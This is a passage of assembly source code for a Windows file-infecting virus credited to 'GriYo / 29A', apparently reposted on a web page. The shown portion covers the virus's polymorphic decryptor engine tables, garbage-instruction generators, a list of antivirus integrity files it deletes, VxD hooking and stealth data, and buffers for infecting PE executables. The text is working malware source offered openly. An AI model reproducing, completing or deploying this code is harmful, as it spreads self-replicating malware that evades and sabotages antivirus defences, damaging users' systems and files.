dd offset x_not_reg_dword

yy_add_reg db 80h
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword

yy_sub_reg db 80h
db MAGIC_NOTEBP
db 0A8h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword

yy_xor_reg db 80h
db MAGIC_NOTEBP
db 0B0h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword

zz_inc_reg db 0FEh
db MAGIC_CAREEBP
db 04h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword

zz_dec_reg db 0FEh
db MAGIC_CAREEBP
db 0Ch
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword

zz_not_reg db 0F6h
db MAGIC_CAREEBP
db 14h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword

zz_add_reg db 80h
db MAGIC_CAREEBP
db 04h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword

zz_sub_reg db 80h
db MAGIC_CAREEBP
db 2Ch
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword

zz_xor_reg db 80h
db MAGIC_CAREEBP
db 34h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword

ii_inc_reg db 0FEh
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword

ii_dec_reg db 0FEh
db MAGIC_NOTEBP
db 8Ch
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword

ii_not_reg db 0F6h
db MAGIC_NOTEBP
db 94h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword

ii_add_reg db 80h
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword

ii_sub_reg db 80h
db MAGIC_NOTEBP
db 0ACh
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword

ii_xor_reg db 80h
db MAGIC_NOTEBP
db 0B4h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword

;Reverse-code strings

x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY

;Format for each style-table entry:
;
; 00h - DWORD - Address of generator
; 04h - DWORD - Address of generated subroutine or
; 00000000h if not yet generated
;

style_table equ this byte

dd offset gen_get_delta
dd 00000000h

dd offset gen_load_ctr
dd 00000000h

dd offset gen_decrypt
dd 00000000h

dd offset gen_next_step
dd 00000000h

dd offset gen_next_ctr
dd 00000000h

;Garbage code generators

tbl_garbage equ this byte

dd offset gen_save_code ;clc stc cmc cld std
dd offset g_movreg32imm ;mov reg32,imm
dd offset g_movreg16imm ;mov reg16,imm
dd offset g_movreg8imm ;mov reg8,imm
dd offset g_movregreg32 ;mov reg32,reg32
dd offset g_movregreg16 ;mov reg16,reg16
dd offset g_movregreg8 ;mov reg8,reg8
dd offset g_mathregimm32 ;math reg32,imm
dd offset g_mathregimm16 ;math reg16,imm
dd offset g_mathregimm8 ;math reg8,imm
dd offset g_push_g_pop ;push reg/garbage/pop reg
dd offset g_call_cont ;call/garbage/pop
dd offset g_jump_u ;jump/rnd block
dd offset g_jump_c ;jump conditional/garbage
dd offset g_movzx_movsx ;movzx/movsx reg32,reg16

end_garbage equ this byte

;············································································
;Virus initialized data
;············································································

szKernel32 db "KERNEL32.dll",00h ;Used for kernel scanning

rnd32_seed dd 00000000h ;Seed for random number generator

del_fileptr dd offset szAvData_00 ;Filenames to delete
dd offset szAvData_01
dd offset szAvData_02
dd offset szAvData_03

szAvData_00 db "ANTI-VIR.DAT",00h ;Thunderbyte
szAvData_01 db "CHKLIST.MS",00h ;MsAv
szAvData_02 db "AVP.CRC",00h ;Avp
szAvData_03 db "IVB.NTZ",00h ;Invircible

szAuth db " < Hantavirus Pulmonary Syndrome (HPS) "
db "Virus BioCoded by GriYo / 29A > ",00h

align dword

inf_end equ this byte

;············································································
;Poly engine uninitialized data
;············································································

ptr_disp dd 00000000h ;Displacement from index
disp2disp dd 00000000h ;Displacement over displacement
end_value dd 00000000h ;Index end value
delta_call dd 00000000h ;Used into delta_offset routines
loop_point dd 00000000h ;Start address of decryption loop
entry_point dd 00000000h ;Entry point to decryptor code
decryptor_size dd 00000000h ;Size of generated decryptor
crypt_key dd 00000000h ;Encryption key
oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword)
index_mask db 00h ;Mask of register used as index
counter_mask db 00h ;Mask of register used as counter
build_flags db 00h ;Some decryptor flags
recursive_level db 00h ;Garbage recursive layer

;Decryptor flags aliases

CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR equ 02h
CRYPT_CDIR equ 04h
CRYPT_SIMPLEX equ 10h
CRYPT_COMPLEX equ 20h

;············································································

;Virus uninitialized data

scan_addr dd 00000000h ;Current memory address for our scanner
a_VxDCall dd 00000000h ;VxDCall function entry-point
hook_status dd 00000000h ;Flag to prevent reentrancy
file_attrib dd 00000000h ;Original file attributes
file_time dd 00000000h ;Original file time
file_date dd 00000000h ;Original file date
ptr_filename dd 00000000h ;Path end, filename start
last_checksum dd 00000000h ;Checksum of filename
padding_block dd 00000000h ;Numbers of bytes written for size padding
mem_address dd 00000000h ;Virus position in memory
bmp_address dd 00000000h ;Storage for .BMP handling rotuines
bmp_active dd 00000000h ;Payload switch
bmp_pages dd 00000000h ;Size of bitmap in pages

VxDCall_code db 06h dup (00h) ;16:32 ptr to VxDCall INT 30h

target_filename db MAX_PATH dup (00h) ;Filename to infect

stealth_this dd 00000000h ;Bytes written to file

msdos_header db IMAGE_SIZEOF_DOS_HEADER \ ;MsDos header
dup (00h)

pe_signature dd 00000000h ;This holds the PE signature

pe_header db IMAGE_SIZEOF_FILE_HEADER \ ;Here comes the PE header
dup (00h)

optional_header db IMAGE_SIZEOF_NT_OPTIONAL_HEADER \
dup (00h) ;Holds the optional Header

section_header db IMAGE_SIZEOF_SECTION_HEADER \;Section header of last
dup (00h) ;section in file

mem_end equ this byte ;End of virus portable code

virus_copy db inf_size dup (00h) ;Virus copy for infections
poly_max_size equ 1000h ;Buffer size
poly_buffer db poly_max_size dup (00h) ;Buffer for poly decryptor

;············································································

virseg ends

end host_entry

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT